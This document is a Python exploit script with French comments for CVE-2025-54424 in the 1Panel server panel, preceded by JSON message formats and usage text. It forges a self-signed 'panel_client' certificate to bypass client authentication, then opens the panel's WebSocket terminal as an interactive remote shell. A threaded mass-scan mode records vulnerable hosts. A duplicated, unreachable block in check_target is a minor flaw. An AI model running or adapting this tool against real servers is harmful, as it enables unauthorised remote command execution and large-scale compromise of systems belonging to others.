{
  "type": "ps",           // Type de données : ps (processus), ssh (session SSH), net (connexion réseau), wget (progression du téléchargement)
  "pid": 123,             // Optionnel, spécifier un ID de processus pour filtrer
  "name": "process_name", // Optionnel, filtrer par nom de processus
  "username": "user"      // Optionnel, filtrer par nom d'utilisateur
}

{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // Encodage base64 de "whoami", n'oubliez pas le retour à la ligne.
}

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel - Outil intégré pour la vulnérabilité RCE par contournement du certificat client (scan+exploitation)
Auteur : Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Cible unique, entre en mode exploitation. Ex.: 192.168.1.100:8080
  -f FILE, --file FILE  Fichier cible, entre en mode scan en masse.
  -o OUTPUT, --output OUTPUT
                        [Mode scan] Nom du fichier pour enregistrer les résultats des vulnérabilités.
  -t THREADS, --threads THREADS
                        [Mode scan] Nombre de threads concurrents.
  --proxy PROXY         Définir un proxy pour toutes les requêtes. Ex.: http://127.0.0.1:8080

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# Désactiver les avertissements de la bibliothèque requests lorsque la vérification SSL est désactivée
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- Variables globales et verrou de thread ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- Fonctions principales ---

def generate_self_signed_cert():
    """Génère dynamiquement un certificat et une clé privée avec CN='panel_client', et retourne les chemins de fichiers temporaires."""
    with print_lock:
        print("[*] Génération dynamique du certificat client falsifié...")
    try:
        private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"panel_client")])
        cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
            private_key.public_key()
        ).serial_number(x509.random_serial_number()).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        )
        cert = cert_builder.sign(private_key, hashes.SHA256())
        
        key_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".key")
        key_file.write(private_key.private_bytes(
            encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption(),
        ))
        key_file.close()
        
        cert_file = tempfile.NamedTemporaryFile(delete=False, mode='wb', suffix=".crt")
        cert_file.write(cert.public_bytes(serialization.Encoding.PEM))
        cert_file.close()
        
        with print_lock:
            print(f"[+] Certificat généré : {cert_file.name}, {key_file.name}")
        return cert_file.name, key_file.name
    except Exception as e:
        with print_lock:
            print(f"[ERREUR] Erreur lors de la génération du certificat : {e}")
        return None, None

def check_target(target_host, cert_path, key_path, proxy_dict, proxy_opts):
    """Effectue la vérification complète en deux étapes sur une seule cible. Retourne (target_host, bool, str)"""
    # Étape 1 : Pré-vérification HTTP
    check_url = f"https://{target_host}/api/v2/dashboard/base/os"
    headers = {
        'User-Agent': '1panel_client',
        'Origin':f"https://{target_host}/",
        'Content-Type': 'application/json'
    }
    try:
        response = requests.get(
            check_url, cert=(cert_path, key_path), proxies=proxy_dict, verify=False, timeout=10, headers=headers
        )
        if response.status_code != 200:
            return target_host, False, f"Échec de la pré-vérification (HTTP {response.status_code})"
        with print_lock:
            print(f"[*] {target_host:<21} - Pré-vérification HTTP réussie (200 OK)")
    except requests.exceptions.RequestException as e:
        return target_host, False, f"Échec de la requête de pré-vérification ({type(e).__name__})"

    # Étape 2 : Tentative de connexion WebSocket
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return target_host, True, "Vulnérabilité présente (pré-vérification HTTP et connexion WSS réussies)"
    except Exception as e:
        return target_host, False, f"Échec de la connexion WSS ({type(e).__name__})"

    # Étape 2 : Tentative de connexion WebSocket
    ws_url = f"wss://{target_host}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, timeout=10, **proxy_opts)
        ws.close()
        return True, "Vulnérabilité présente (pré-vérification HTTP et connexion WSS réussies)"
    except Exception as e:
        return False, f"Échec de la connexion WSS ({type(e).__name__})"

def receive_thread(ws):
    """Thread de réception pour le shell interactif."""
    global exploit_running
    while exploit_running:
        try:
            raw_message = ws.recv()
            if not raw_message: continue
            response_json = json.loads(raw_message)
            if isinstance(response_json, dict) and "data" in response_json and response_json["data"]:
                decoded_bytes = base64.b64decode(response_json["data"])
                output_str = decoded_bytes.decode('utf-8', errors='ignore')
                sys.stdout.write(output_str)
                sys.stdout.flush()
        except (websocket.WebSocketConnectionClosedException, ConnectionResetError):
            if exploit_running: print("\n[*] Connexion fermée inopinément."); exploit_running = False
            break
        except Exception: pass

def run_exploit_mode(target, cert_path, key_path, proxy_opts):
    """Exécute l'exploitation sur une cible unique."""
    global exploit_running
    print("[*] Tentative d'obtention d'un shell interactif...")
    ws_url = f"wss://{target}/api/v2/hosts/terminal"
    try:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ssl_context.load_cert_chain(cert_path, key_path)
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        ws = websocket.create_connection(ws_url, sslopt={"context": ssl_context}, **proxy_opts)
        print("[+] Shell obtenu avec succès !")
        print("[*] Tapez 'exit' ou appuyez sur Ctrl+C pour quitter.")
        print("---")

        recv_th = threading.Thread(target=receive_thread, args=(ws,))
        recv_th.daemon = True
        recv_th.start()
        
        while exploit_running:
            try:
                cmd = input()
                if cmd.strip().lower() == 'exit': break
                b64_cmd = base64.b64encode((cmd + '\n').encode('utf-8')).decode('utf-8')
                ws.send(json.dumps({"type": "cmd", "data": b64_cmd}))
            except EOFError: break
        
        exploit_running = False
        ws.close()
    except KeyboardInterrupt:
        print("\n[*] Interruption utilisateur, fermeture du shell...")
    except Exception as e:
        print(f"\n[-] Erreur lors de l'obtention du shell : {e}")
    finally:
        exploit_running = False

def run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, threads, output_file):
    """Effectue un scan en masse."""
    print(f"[*] Début de la vérification de {len(targets)} cibles avec {threads} threads...")
    with ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_target = {executor.submit(check_target, t, cert_path, key_path, proxy_dict, proxy_opts): t for t in targets}
        for future in as_completed(future_to_target):
            target, is_vulnerable, message = future.result()
            with print_lock:
                if is_vulnerable:
                    print(f"[+] {target:<21} - {message}")
                    vulnerable_hosts.append(target)
                else:
                    print(f"[-] {target:<21} - {message}")
    
    if vulnerable_hosts:
        print(f"\n[*] Vérification terminée ! {len(vulnerable_hosts)} cibles vulnérables trouvées.")
        with open(output_file, 'w') as f:
            for host in vulnerable_hosts:
                f.write(host + '\n')
        print(f"[+] Résultats enregistrés dans le fichier : {output_file}")
    else:
        print("\n[*] Vérification terminée, aucune cible vulnérable trouvée.")

def main():
    parser = argparse.ArgumentParser(description="1Panel - Outil intégré pour la vulnérabilité RCE par contournement du certificat client (scan+exploitation)\nAuteur : Mrxn https://github.com/Mr-xn", formatter_class=argparse.RawTextHelpFormatter)
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument("-u", "--url", help="Cible unique, entre en mode exploitation. Ex.: 192.168.1.100:8080")
    mode.add_argument("-f", "--file", help="Fichier cible, entre en mode scan en masse.")
    
    parser.add_argument("-o", "--output", default="vulnerable_targets.txt", help="[Mode scan] Nom du fichier pour enregistrer les résultats des vulnérabilités.")
    parser.add_argument("-t", "--threads", type=int, default=20, help="[Mode scan] Nombre de threads concurrents.")
    parser.add_argument("--proxy", help="Définir un proxy pour toutes les requêtes. Ex.: http://127.0.0.1:8080")
    args = parser.parse_args()

    cert_path, key_path = generate_self_signed_cert()
    if not cert_path: sys.exit(1)

    proxy_dict = {"http": args.proxy, "https": args.proxy} if args.proxy else {}
    proxy_opts = {}
    if args.proxy:
        print(f"[*] Toutes les requêtes passeront par le proxy : {args.proxy}")
        p = urlparse(args.proxy)
        proxy_opts = {"proxy_type": p.scheme, "http_proxy_host": p.hostname, "http_proxy_port": p.port, "http_proxy_auth": (p.username, p.password) if p.username else None}

    try:
        if args.url:
            # --- Mode exploitation ---
            print(f"---[ Mode exploitation sur une cible unique : {args.url} ]---")
            target, is_vulnerable, message = check_target(args.url, cert_path, key_path, proxy_dict, proxy_opts)
            if is_vulnerable:
                print(f"[+] La cible {args.url} est confirmée vulnérable !")
                run_exploit_mode(args.url, cert_path, key_path, proxy_opts)
            else:
                print(f"[-] La cible {args.url} n'est pas vulnérable ou inaccessible : {message}")
        
        elif args.file:
            # --- Mode scan ---
            print(f"---[ Mode scan en masse : {args.file} ]---")
            if not os.path.exists(args.file):
                print(f"[ERREUR] Le fichier cible n'existe pas : {args.file}"); return
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            if not targets:
                print("[ERREUR] Le fichier cible est vide."); return
            run_scan_mode(targets, cert_path, key_path, proxy_dict, proxy_opts, args.threads, args.output)

    except KeyboardInterrupt:
        print("\n[*] Interruption utilisateur, sortie...")
    finally:
        if cert_path and os.path.exists(cert_path): os.remove(cert_path)
        if key_path and os.path.exists(key_path): os.remove(key_path)
        print("[*] Certificats temporaires nettoyés, programme terminé.")

if __name__ == "__main__":
    main()